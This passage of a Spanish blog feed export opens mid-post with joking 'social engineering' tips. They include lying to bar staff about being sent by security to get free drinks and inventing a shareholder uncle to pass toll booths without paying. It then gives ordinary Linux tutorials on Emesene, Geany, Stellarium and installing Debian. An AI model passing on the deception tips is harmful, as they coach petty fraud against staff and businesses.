dices que el jefe de seguridad te ha mandado a por unos conbinados de whiscky con cola para unos artistas, en concreto son 2 copas de whisky y una de ron. (siempre cuela mientras tengas el pelo corto y seas grande)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * En los peajes, antes de llegar a la zona de pago, fíjate en que compañía la explota e inventate una panoja de que tu tío es accionista y te ha dicho que digas en la cabina que vas de parte suya y que te ha dicho también que deberías haberle llamado antes ya que hay unas tarjetas especiales de invitación pero que no ha podido mandártelas porque está comiendose un cochinillo en Salamanca. (funciona muchas veces) *Nótese también que tu tío debe tener un nombre muy de empresario como Jose Manuel del Valle Sanz Arrandiburu.&lt;br /&gt;&lt;/blockquote&gt;&lt;ol style="text-align: center;"&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-7982715825513731111?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/7982715825513731111/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/ingenieria-social-herramienta-muy.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7982715825513731111'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7982715825513731111'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/ingenieria-social-herramienta-muy.html' title='Ingeniería Social - Herramienta muy potente.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_adYnwobHI2E/S0wES66QssI/AAAAAAAAAQo/_2XzgrjUDNM/s72-c/ingenieria_social.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-4794963542405997453</id><published>2010-01-12T05:31:00.002+01:00</published><updated>2010-01-20T03:13:54.824+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mensajería Instantánea'/><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><title type='text'>Emesene - Alternativa a MSN messenger</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S0v5TW5V4sI/AAAAAAAAAQY/oxvfgglJJjc/s1600-h/emesene.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S0v5TW5V4sI/AAAAAAAAAQY/oxvfgglJJjc/s320/emesene.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Hace tiempo hablamos de &lt;b&gt;Amsn2&lt;/b&gt;, del cambio radical que había tenido el equipo y de lo rápido que iba a ser. También hablamos de &lt;b&gt;Empathy&lt;/b&gt;, y de que no estaba demasiado &lt;b&gt;pulido&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;El caso es que mientras andaba trasteando con distribuciones y tras ver que &lt;b&gt;Amsn&lt;/b&gt; &lt;b&gt;consumía bastantes recursos&lt;/b&gt;, decidí darle otra oportunidad a &lt;b&gt;Emesene&lt;/b&gt;. Este &lt;b&gt;popular&lt;/b&gt; programa es sin duda la mejor &lt;b&gt;alternativa&lt;/b&gt; al clásico messenger privativo. Tiene &lt;b&gt;soporte&lt;/b&gt; de &lt;b&gt;skins&lt;/b&gt; o pieles, es muy &lt;b&gt;configurable&lt;/b&gt;, acepta &lt;b&gt;plugins&lt;/b&gt; y por supuesto, acepta &lt;b&gt;webcam&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Con el cambio de distribución a &lt;b&gt;Karmic&lt;/b&gt;, &lt;b&gt;Ubuntu&lt;/b&gt; añadió a sus repositorios la &lt;b&gt;versión más actualizada&lt;/b&gt; de este programa, corrigiendo entre otras, un montón de fallos de la antigua versión y añadiendo &lt;b&gt;nuevas funcionalidades&lt;/b&gt; muy &lt;b&gt;potentes&lt;/b&gt;. Para instalarlo, es realmente sencillo, abre un terminal y escribe:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install emesene&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez &lt;b&gt;instalado&lt;/b&gt; procederemos a &lt;b&gt;configurarlo&lt;/b&gt; a nuestro gusto. Cuando ejecutéis el programa veréis que es &lt;b&gt;muy parecido al MSN messenger&lt;/b&gt; y además también comprobaréis que cumple estupendamente sus funciones.&lt;br /&gt;Para empezar con esta tarea primeramente necesitaremos meter nuestro &lt;b&gt;usuario&lt;/b&gt; y &lt;b&gt;contraseña&lt;/b&gt; e &lt;b&gt;iniciar sesión&lt;/b&gt;.&lt;br /&gt;Una vez esta este iniciada, pulsaremos sobre &lt;b&gt;opciones&lt;/b&gt; y &lt;b&gt;preferencias&lt;/b&gt; en la barra de menús. En la &lt;b&gt;pestaña tema&lt;/b&gt; escogeremos entre los estilos de conversación el que más nos guste. Es recomendable usar el &lt;b&gt;estilo messenger&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Para la &lt;b&gt;pestaña de interfaz&lt;/b&gt; es recomendable activar las opciones: &lt;i&gt;Usar varias ventanas&lt;/i&gt; &lt;b&gt;(sin pestañas&lt;/b&gt;), &lt;i&gt;Mostrar Avatares&lt;/i&gt;, &lt;i&gt;Colocar avatares al lado derecho&lt;/i&gt;, &lt;i&gt;Mostrar avatares en barra de tareas&lt;/i&gt;, &lt;i&gt;No cerrar la conversación pulsando ESC&lt;/i&gt;, &lt;i&gt;No molestar en estado Ocupado&lt;/i&gt; y &lt;i&gt;Evitar cerrar la ventana cuando un nuevo mensaje llegue&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;En la opción &lt;b&gt;&lt;i&gt;Transferencia de archivos&lt;/i&gt;&lt;/b&gt;, lo suyo es &lt;b&gt;ordenar&lt;/b&gt; los &lt;b&gt;archivos&lt;/b&gt; recibidos &lt;b&gt;por emisor&lt;/b&gt;. Para ello sólo tendremos que &lt;b&gt;activar&lt;/b&gt; la &lt;b&gt;casilla&lt;/b&gt; y &lt;b&gt;buscar&lt;/b&gt; la &lt;b&gt;carpeta&lt;/b&gt; que deseamos &lt;b&gt;utilizar&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Por último en cuanto a la &lt;b&gt;Cámara web&lt;/b&gt;, sólo tendremos que &lt;b&gt;escoger nuestro dispositivo&lt;/b&gt; y pulsar cerrar.&lt;br /&gt;&lt;br /&gt;En cuanto a la &lt;b&gt;configuración de los contactos&lt;/b&gt; tenemos en la barra de menús, la opción &lt;b&gt;&lt;i&gt;Ver&lt;/i&gt;&lt;/b&gt;, donde es recomendable escoger &lt;b&gt;&lt;i&gt;Ordenar por grupo&lt;/i&gt;&lt;/b&gt; , &lt;b&gt;&lt;i&gt;ordenar grupos por nombre&lt;/i&gt;&lt;/b&gt;, &lt;b&gt;mostrar apodos&lt;/b&gt; y &lt;b&gt;mostrar número de contactos&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hasta aquí todo bien, ahora solo falta &lt;b&gt;activar&lt;/b&gt; ciertos &lt;b&gt;complementos&lt;/b&gt; para que nuestra experiencia sea mejor. Para ello mismo iremos a la barra de menú y pulsaremos sobre &lt;b&gt;Opciones&lt;/b&gt; y luego sobre&lt;b&gt; complementos&lt;/b&gt;. Ahora procederemos a &lt;b&gt;activar&lt;/b&gt; los complementos &lt;i&gt;CurrentSong&lt;/i&gt;, &lt;i&gt;Complemento Last Said&lt;/i&gt;, &lt;i&gt;Registrador de Conversación&lt;/i&gt;, &lt;i&gt;Mensaje Personal&lt;/i&gt;, &lt;i&gt;PlusPlus&lt;/i&gt;, &lt;i&gt;&lt;b&gt;Sonido&lt;/b&gt;&lt;/i&gt;, &lt;i&gt;Zumbido&lt;/i&gt; y &lt;i&gt;Recibiendo Guiño&lt;/i&gt;.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S0v10aN4q8I/AAAAAAAAAQI/LyRMjOkuxAM/s1600-h/emesene-complementos.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S0v10aN4q8I/AAAAAAAAAQI/LyRMjOkuxAM/s320/emesene-complementos.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Para &lt;b&gt;configurar el sonido&lt;/b&gt;, tendremos que activar la casilla &lt;b&gt;Sonido&lt;/b&gt;. Se escucharan los sonidos de &lt;b&gt;Pidgin&lt;/b&gt; que son un poco cutres aunque podremos &lt;b&gt;configurar&lt;/b&gt; los &lt;b&gt;sonidos&lt;/b&gt; a nuestro gusto pulsando en &lt;b&gt;propiedades&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;En cualquier caso si queremos cambiar de &lt;b&gt;temas de sonido&lt;/b&gt; están disponibles unos &lt;b&gt;muy parecidos al messenger &lt;a href="http://www.megaupload.com/?d=YE4SP1M8"&gt;aquí&lt;/a&gt;&lt;/b&gt; . Una vez descargamos los &lt;b&gt;extraemos en el Escritorio&lt;/b&gt; y procedemos a moverlos. Para ello procederemos a ejecutar los comandos que muestra la siguiente imagen:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S0v49SNXJiI/AAAAAAAAAQQ/jlrlGD_yaic/s1600-h/sonidos_emesene.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S0v49SNXJiI/AAAAAAAAAQQ/jlrlGD_yaic/s320/sonidos_emesene.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;cd Escritorio&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;unzip sonidos.zip&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;sudo mv "Windows Live Messenger" /usr/share/emesene/sound_themes&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Por último volveremos a &lt;b&gt;complementos&lt;/b&gt;, pulsaremos sobre &lt;b&gt;sonido&lt;/b&gt; y escogeremos los&lt;b&gt; sonidos de Live Messenger&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Actualización: Si recibes un mensaje al intentar usar la webcam diciendo:&lt;br /&gt;&lt;div style="text-align: center;"&gt;You don't have libmimic, so you can't send or receive webcam&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Ejecuta en un terminal:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install python-libmimic python-dev&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Cierra el programa, vuelvelo a abrirlo y problema resuelto.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-4794963542405997453?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/4794963542405997453/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/emesene-alternativa-msn-messenger.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/4794963542405997453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/4794963542405997453'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/emesene-alternativa-msn-messenger.html' title='Emesene - Alternativa a MSN messenger'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_adYnwobHI2E/S0v5TW5V4sI/AAAAAAAAAQY/oxvfgglJJjc/s72-c/emesene.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-5822559909801004588</id><published>2010-01-07T10:17:00.001+01:00</published><updated>2010-01-07T10:17:00.572+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IDE'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='ADA'/><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><category scheme='http://www.blogger.com/atom/ns#' term='PASCAL'/><title type='text'>Geany compilando PHP, PASCAL y ADA 95</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/SxqPt9PZWGI/AAAAAAAAAD8/KahY0tN2b7Y/s1600/geany.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/SxqPt9PZWGI/AAAAAAAAAD8/KahY0tN2b7Y/s320/geany.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Compilar y ejecutar &lt;b&gt;ADA 95 &lt;/b&gt;en &lt;b&gt;Geany&lt;/b&gt; es posible. Sólo hay que tener &lt;b&gt;instalado&lt;/b&gt; la &lt;b&gt;versión 4.4&lt;/b&gt; de &lt;b&gt;GNAT&lt;/b&gt;. Por defecto el &lt;b&gt;instalador&lt;/b&gt; de &lt;b&gt;Ubuntu&lt;/b&gt; e los repostorios instala la &lt;b&gt;versión 4.3&lt;/b&gt; por lo que no podemos compilar.&lt;br /&gt;Para &lt;b&gt;instalar&lt;/b&gt; la &lt;b&gt;versión 4.4&lt;/b&gt; es tan sencillo como ejejcutar en un terminal:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install gnat-4.4&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&amp;nbsp;También es posible &lt;b&gt;compilar PHP&lt;/b&gt;. Para ello instalaremos el cliente de PHP en un terminal:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install php5-cli&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Para el caso de &lt;b&gt;PASCAL&lt;/b&gt; es tan sencillo como instalar el compilador:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install fpc&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;Con todo esto ya podréis &lt;b&gt;compilar y ejecuta&lt;/b&gt;r todos estos lenguajes en vuestro &lt;b&gt;IDE ligero y rápido&lt;/b&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-5822559909801004588?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/5822559909801004588/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/geany-compilando-php-pascal-y-ada-95.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5822559909801004588'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5822559909801004588'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/geany-compilando-php-pascal-y-ada-95.html' title='Geany compilando PHP, PASCAL y ADA 95'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_adYnwobHI2E/SxqPt9PZWGI/AAAAAAAAAD8/KahY0tN2b7Y/s72-c/geany.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-7060842625474279255</id><published>2010-01-06T10:07:00.016+01:00</published><updated>2010-01-06T10:07:00.223+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><category scheme='http://www.blogger.com/atom/ns#' term='Stellarium'/><title type='text'>Stellarium - Mira las estrellas en tu PC</title><content type='html'>Hoy os traigo un &lt;b&gt;programita&lt;/b&gt; &lt;b&gt;interesante&lt;/b&gt; que nos permite &lt;b&gt;ver las estrellas&lt;/b&gt;. Es &lt;b&gt;software libre&lt;/b&gt; y &lt;b&gt;multiplataforma&lt;/b&gt;. Además aporta numerosos efectos interesantes y es fácil e intuitivo.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S0LLHct-G7I/AAAAAAAAAQA/6CXfEaGJmlw/s1600-h/stellarium.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S0LLHct-G7I/AAAAAAAAAQA/6CXfEaGJmlw/s320/stellarium.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;El &lt;b&gt;programa&lt;/b&gt; en cuestión se llama &lt;b&gt;Stellarium&lt;/b&gt; y lo podéis &lt;b&gt;descargar&lt;/b&gt; en el terminal ejecuntando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install stellarium&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Si no os gusta el modo &lt;b&gt;pantalla completa&lt;/b&gt;, como es mi caso, tendréis &lt;b&gt;modificar&lt;/b&gt; el &lt;b&gt;archivo de configuración&lt;/b&gt; mediante el siguiente comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;gedit .stellarium/config.ini&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Aquí cambiaremos:&lt;br /&gt;&lt;blockquote&gt;fullscreen&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = true&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Por&lt;br /&gt;&lt;blockquote&gt;fullscreen&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = false&lt;br /&gt;&lt;/blockquote&gt;Una vez realizados todos los cambios, &lt;b&gt;guardamos&lt;/b&gt; y &lt;b&gt;abrimos&lt;/b&gt; el &lt;b&gt;programa&lt;/b&gt;. Su &lt;b&gt;manejo&lt;/b&gt; es &lt;b&gt;fácil&lt;/b&gt;. &lt;b&gt;Rueda del ratón&lt;/b&gt; para hacer &lt;b&gt;zoom&lt;/b&gt; y &lt;b&gt;clicks&lt;/b&gt; para &lt;b&gt;movernos&lt;/b&gt; por el &lt;b&gt;cielo&lt;/b&gt;. Si queremos &lt;b&gt;ayudas&lt;/b&gt;, bajamos el ratón a la &lt;b&gt;esquina inferior&lt;/b&gt; &lt;b&gt;izquierda&lt;/b&gt; y nos aparecerá una &lt;b&gt;barra con&amp;nbsp; opcione&lt;/b&gt;s. ¡Ya no hay excusa para no ver las estrellas!&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-7060842625474279255?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/7060842625474279255/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/stellarium-mira-las-estrellas-en-tu-pc.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7060842625474279255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7060842625474279255'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/stellarium-mira-las-estrellas-en-tu-pc.html' title='Stellarium - Mira las estrellas en tu PC'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_adYnwobHI2E/S0LLHct-G7I/AAAAAAAAAQA/6CXfEaGJmlw/s72-c/stellarium.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-4422689427002861646</id><published>2010-01-05T10:12:00.164+01:00</published><updated>2010-01-05T10:12:00.727+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GNU'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><category scheme='http://www.blogger.com/atom/ns#' term='Debian'/><title type='text'>Probando Debian</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S0LHGnrPHiI/AAAAAAAAAPw/2YppVNlEgyM/s1600-h/openlogo.ps.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S0LHGnrPHiI/AAAAAAAAAPw/2YppVNlEgyM/s320/openlogo.ps.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;Antes del cambio de año tuve que &lt;b&gt;formatear&lt;/b&gt; para hacer mi &lt;b&gt;limpieza anual&lt;/b&gt;. No es que el orenador funcionara lento, es que tenia &lt;b&gt;demasiados archivos &lt;/b&gt;innecesarios como correos, imágenes, y cualquier tontería instalada que luego te olvidas de borrar.&lt;br /&gt;&lt;br /&gt;Por ello mismo y antes de &lt;b&gt;formatear&lt;/b&gt; di una prueba a &lt;b&gt;Debian&lt;/b&gt; como &lt;b&gt;Sistema Operativo&lt;/b&gt;. &lt;b&gt;Ubuntu&lt;/b&gt; esta basada en esta distribución &lt;b&gt;GNU/Linux&lt;/b&gt;, en la que las cosas funcionan bastante lento en cuanto a &lt;b&gt;burocracia&lt;/b&gt; pero muy &lt;b&gt;bien&lt;/b&gt; y de manera &lt;b&gt;segura&lt;/b&gt; en cuanto a aplicaciones.&lt;br /&gt;&lt;br /&gt;El &lt;b&gt;primer paso&lt;/b&gt; que debe dar cualquier persona que quiera &lt;b&gt;probar Debian&lt;/b&gt;, es como no, &lt;b&gt;bajarse la ISO&lt;/b&gt; para instalarla. En mi caso, como dispongo de una c&lt;b&gt;onexión rápida&lt;/b&gt; opté por bajarme la &lt;b&gt;versión&lt;/b&gt; instalable mediante &lt;b&gt;internet&lt;/b&gt; que ocupa una media de &lt;b&gt;300 mb&lt;/b&gt; para la &lt;b&gt;arquitectura i386&lt;/b&gt;(AMD/Intel 32 bits)&lt;br /&gt;&lt;br /&gt;Para ello &lt;b&gt;entré&lt;/b&gt; en la &lt;a href="http://www.debian.org/"&gt;página de Debian&amp;nbsp; &lt;/a&gt;y &lt;b&gt;pulsé&lt;/b&gt; sobre "Cómo obtener Deban". Entonces ya empezó a oler un poco raro. La &lt;b&gt;página&lt;/b&gt; está muy &lt;b&gt;desfasada&lt;/b&gt;, el &lt;b&gt;diseño&lt;/b&gt; es &lt;b&gt;malo&lt;/b&gt;, los &lt;b&gt;servidores&lt;/b&gt; de &lt;b&gt;descarga&lt;/b&gt; no son demasiado rápidos dándole al lugar un toque &lt;b&gt;rancio&lt;/b&gt; y &lt;b&gt;antigüo&lt;/b&gt;, como &lt;b&gt;dejado&lt;/b&gt; o abandonado.&lt;br /&gt;&lt;br /&gt;El siguiente paso fue escoger la arquitectura. Está &lt;b&gt;muy bien&lt;/b&gt;, tienen &lt;b&gt;casi todas las arquitecturas&lt;/b&gt;, más del doble que Ubuntu. Además nos ofrece varias opciones: parece ser que esta es una &lt;strike&gt;distribución para hombres de pelo en pecho&lt;/strike&gt;.&lt;br /&gt;&lt;br /&gt;Escogemos la &lt;b&gt;versión 5&lt;/b&gt; aunque se lanzará la próxima en marzo y la descargamos:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;span style="font-size: xx-small;"&gt;&lt;b&gt;wget http://cdimage.debian.org/debian-cd/5.0.3/i386/iso-cd/debian-503-i386-netinst.iso&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Una vez &lt;b&gt;descargada&lt;/b&gt; la &lt;b&gt;imagen de CD&lt;/b&gt; procedemos a &lt;b&gt;grabarla&lt;/b&gt;. Hasta pronto Ubuntu. &lt;b&gt;Metemos el CD&lt;/b&gt; e&lt;b&gt; iniciamos la instalación&lt;/b&gt;. Algo va mal, la &lt;b&gt;interfaz gráfica del instalador&lt;/b&gt; es como &lt;strike&gt;PUTA MIERDA&lt;/strike&gt;. Tras el susto, &lt;b&gt;procedemos&lt;/b&gt; a la &lt;b&gt;instalación&lt;/b&gt; en esa &lt;i&gt;maravillosa ventana&lt;/i&gt; y lo primero que &lt;b&gt;vemos&lt;/b&gt; es que es todo bastante &lt;b&gt;diferente&lt;/b&gt;, huele como a &lt;b&gt;seguro&lt;/b&gt;. Procedemos a &lt;b&gt;configurar&lt;/b&gt; mediante los &lt;b&gt;pasos&lt;/b&gt; y por último a &lt;b&gt;cifrar&lt;/b&gt; todo el &lt;b&gt;disco&lt;/b&gt; (Ubuntu sólo cifra tu carpeta personal aunque ya hablaremos de como cifrarlo todo).&lt;br /&gt;&amp;nbsp;Muy bien, va a comenzar la &lt;b&gt;instalación&lt;/b&gt;, se crean las &lt;b&gt;particiones&lt;/b&gt; con &lt;b&gt;Ext3&lt;/b&gt;, vaya, &lt;b&gt;Ext4&lt;/b&gt; no existe todavía en el instalador de la versión &lt;b&gt;Lenny&lt;/b&gt; (5). Da igual, &lt;b&gt;empieza&lt;/b&gt; el &lt;b&gt;formaeo&lt;/b&gt;, uhhh , parece que es a &lt;b&gt;bajo nivel&lt;/b&gt;, y yo que tengo &lt;b&gt;prisa&lt;/b&gt;... en fin espero. Acaba el formateo y comienza la &lt;b&gt;instalación&lt;/b&gt;, ahora tengo que &lt;b&gt;descargar&lt;/b&gt; 1 &lt;b&gt;giga&lt;/b&gt; con todo. La descarga &lt;b&gt;tarda bastante&lt;/b&gt; pero esta bien mirar todo lo que se baja el instalador. Una vez &lt;b&gt;descargado,&lt;/b&gt; procede a la instalación y todo bien aunque quizá duró más de la cuenta. Aparece un mensaje pidiendo instalar &lt;b&gt;GRUB&lt;/b&gt;, a un &lt;b&gt;usuario normal&lt;/b&gt; le entraría pánico gracias al &lt;b&gt;mensaje&lt;/b&gt; que pone: &lt;i&gt;podría dejar inservible otros sistemas operativos&lt;/i&gt;. No importa, seguimos adelante y por fin tenemos &lt;b&gt;Debian&lt;/b&gt;. Está &lt;b&gt;muy bien&lt;/b&gt;, funciona &lt;b&gt;rápido&lt;/b&gt;, más rápido que Ubuntu y ciertas cosas funcionan mucho &lt;b&gt;mejor&lt;/b&gt;. Tiene &lt;b&gt;Gnome&lt;/b&gt; por lo que no me pierdo como 